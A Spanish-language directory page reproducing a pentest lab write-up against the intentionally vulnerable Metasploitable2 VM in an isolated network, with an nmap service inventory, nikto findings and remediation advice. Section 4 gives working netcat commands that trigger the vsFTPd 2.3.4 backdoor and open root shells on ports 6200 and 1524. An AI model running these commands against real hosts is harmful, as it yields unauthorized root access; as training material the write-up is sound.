Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
pentest-lab-metasploitable2 — Laboratorio de pentest en red aislada: enumeración con nmap/nikto y explotación manual de Metasploitable2 (backdoor vsFTPd CVE-2011-2523, bindshell) con informe técnico completo. | Kitploit
Herramientas/GitHubGitHub/danreis20/pentest-lab-metasploitable2
ReconocimientoEscáneres de Vulnerabilidades WebMapeo de RedesAnálisis de VulnerabilidadesExplotaciónCTFPruebas de PenetraciónPapers e InvestigaciónAprendizaje y Educación

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Labs y Práctica
GitHubdanreis20/pentest-lab-metasploitable2

pentest-lab-metasploitable2

Laboratorio de pentest en red aislada: enumeración con nmap/nikto y explotación manual de Metasploitable2 (backdoor vsFTPd CVE-2011-2523, bindshell) con informe técnico completo.

Ver Repositorio
24hace 26 díasAún no revisado
Compartir

Laboratorio de Pentest en Red Aislada

Autor: Daniel Stefan de Jesus dos Reis Fecha: Septiembre/2026 Entorno: Laboratorio personal KVM en red virtual aislada pentestlab

Aviso de Alcance y Autorización

Esta prueba se realizó exclusivamente contra una máquina virtual propia e intencionalmente vulnerable, distribuida por Rapid7 específicamente con fines de entrenamiento en seguridad ofensiva, dentro de una red virtual aislada sin salida a internet. No se accedió a ningún sistema de terceros. Este proyecto tiene finalidad exclusivamente educativa, para el desarrollo de habilidades en pruebas de intrusión.

1. Arquitectura del Laboratorio

  • Hipervisor: KVM/libvirt
  • Red virtual: pentestlab (bridge virbr-lab), subred 192.168.100.0/24, sin <forward> configurado — es decir, una red aislada de verdad: las VMs se comunican entre sí y con el host, pero no tienen ruta hacia fuera del laboratorio. XML de la red en evidencias/pentestlab_network.xml.
  • Host atacante: la propia máquina host, con interfaz virbr-lab, usando nmap, nikto, gobuster, hydra, sqlmap y netcat.
  • Objetivo: VM metasploitable2 (Metasploitable2, Ubuntu 8.04 modificado), IP 192.168.100.90/24, asignada vía DHCP de la propia red aislada.
[ Host / Atacante ]  
        |
   virbr-lab (rede isolada, sem saída para internet)
        |
[ metasploitable2 ] 

2. Metodología

Seguí un flujo básico de reconocimiento → enumeración → explotación → documentación:

  1. Descubrimiento de host y escaneo completo de puertos TCP con detección de servicio/versión (nmap -sV -sC -p-)
  2. Escaneo de vulnerabilidades web (nikto)
  3. Priorización de vulnerabilidades conocidas (CVE) asociadas a las versiones identificadas
  4. Explotación manual donde todos los pasos a continuación se hicieron con nc, para entender el mecanismo de cada falla, no solo "ejecutar el exploit"
  5. Documentación de evidencias y recomendaciones de corrección

3. Reconocimiento — Escaneo Completo

Comando: nmap -sV -sC -p- -T4 192.168.100.90 Salida completa: evidencias/nmap_full_scan.txt

Resumen de los servicios más relevantes encontrados:

PuertoServicioVersiónObservación
21/tcpFTPvsftpd 2.3.4Login anónimo permitido + backdoor conocida
22/tcpSSHOpenSSH 4.7p1Desactualizado
23/tcpTelnetLinux telnetdProtocolo en texto claro
25/tcpSMTPPostfix—
80/tcpHTTPApache 2.2.8 + PHP 5.2.4phpMyAdmin y phpinfo.php expuestos
139/445/tcpSMBSamba 3.0.20-DebianFirma de mensajes deshabilitada
1099/tcpJava RMIGNU Classpath grmiregistryHistóricamente vulnerable a RCE
1524/tcpbindshell—Shell de root ya abierto, sin autenticación
3306/tcpMySQL5.0.51a-3ubuntu5—
3632/tcpdistccdv1Históricamente vulnerable a RCE (CVE-2004-2687)
5432/tcpPostgreSQL8.3.0–8.3.7—
5900/tcpVNCprotocolo 3.3—
6667/6697/tcpIRCUnrealIRCd 3.2.8.1Versión asociada a backdoor conocida
8180/tcpHTTPApache Tomcat 5.5—

4. Vulnerabilidades Explotadas (confirmadas)

4.1 Backdoor en vsFTPd 2.3.4 — CVE-2011-2523 (Crítica)

Entre el 30/06/2011 y el 03/07/2011, el código fuente del vsFTPd 2.3.4 disponible para descarga fue adulterado por un atacante. La versión comprometida contiene una backdoor: al recibir, en el campo de usuario del login FTP, una cadena terminada en :), el servidor abre un shell de root en el puerto TCP 6200, sin ninguna autenticación.

Pasos ejecutados (log completo en evidencias/vsftpd_backdoor_exploit.txt):

# 1. Disparar la backdoor enviando USER terminado en ":)"
( printf 'USER test:)\r\n'; sleep 1; printf 'PASS test\r\n'; sleep 2 ) | nc -w 5 192.168.100.90 21

# 2. Conectar en el puerto 6200, abierto por la backdoor
( printf 'whoami\n'; printf 'id\n'; printf 'uname -a\n'; sleep 2 ) | nc -w 5 192.168.100.90 6200

Resultado:

uid=0(root) gid=0(root)
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Acceso root total obtenido sin autenticación.

4.2 Bindshell expuesto en el puerto 1524/tcp (Crítica)

El nmap ya identifica este servicio como Metasploitable root shell — una backdoor dejada intencionalmente en la imagen (resquicio de un exploit anterior, común en imágenes de entrenamiento). No requiere explotación: basta con conectarse.

( printf 'whoami\n'; printf 'id\n'; sleep 2 ) | nc -w 4 192.168.100.90 1524

Resultado: uid=0(root) gid=0(root) groups=0(root) — root inmediato.

Log completo en evidencias/bindshell_1524.txt.

5. Vulnerabilidades Identificadas (no explotadas en esta ronda)

5.1 UnrealIRCd 3.2.8.1 — CVE-2010-2075 (Crítica, identificada por versión)

La versión del UnrealIRCd que corre en los puertos 6667/6697 corresponde a una build históricamente distribuida con una backdoor (comando AB; seguido de un comando de shell). Intenté disparar la backdoor manualmente vía nc, pero el servidor trató la entrada como un comando IRC inválido (451 :You have not registered) en lugar de ejecutar el comando — o esa imagen específica no contiene el binario troyanizado, o el payload necesita un ajuste fino que no prioricé en esta ronda. Registro esto como intento sin éxito, no como vulnerabilidad confirmada.

5.2 distccd 3632/tcp — CVE-2004-2687 (Alta)

Servicio de compilación distribuida que acepta comandos arbitrarios de cualquier cliente que se conecte, sin autenticación. Identificado por versión, no explotado en esta ronda.

5.3 Java RMI Registry — puerto 1099/tcp (Alta)

Históricamente vulnerable a ejecución remota de código vía deserialización. Identificado por versión, no explotado en esta ronda.

6. Enumeración Web (nikto)

Comando: nikto -h 192.168.100.90 -p 80 Salida completa: evidencias/nikto_scan.txt

Principales hallazgos:

  • Apache 2.2.8 desactualizado (la serie actual, en ese momento, era 2.2.22+)
  • Método HTTP TRACE activo (potencial XST)
  • /phpinfo.php expuesto públicamente (revela la configuración de PHP)
  • /phpMyAdmin/ accesible sin restricción de IP
  • Listado de directorio habilitado en /doc/, /test/ y /icons/
  • Cookie de phpMyAdmin creada sin la flag httponly

7. Recomendaciones de Corrección

HallazgoRecomendación
Backdoor vsFTPd 2.3.4Nunca usar binarios de fuentes no oficiales/no verificadas; validar hash/firma de paquetes antes de instalar
Bindshell en el puerto 1524Auditar puertos abiertos regularmente (nmap interno periódico); cualquier shell no documentado es un incidente
distccd expuesto sin autenticaciónRestringir a hosts confiables vía firewall o deshabilitar si no está en uso activo de build distribuido
phpMyAdmin/phpinfo.php expuestosRestringir acceso por IP/VPN, nunca exponer herramientas administrativas públicamente
Apache/PHP desactualizadosMantener proceso de patch management activo
Listado de directorio habilitadoDeshabilitar Options Indexes en Apache
SMB con firma de mensajes deshabilitadaHabilitar server signing = mandatory

8. Lo que este laboratorio demostró en la práctica

Descargar herramienta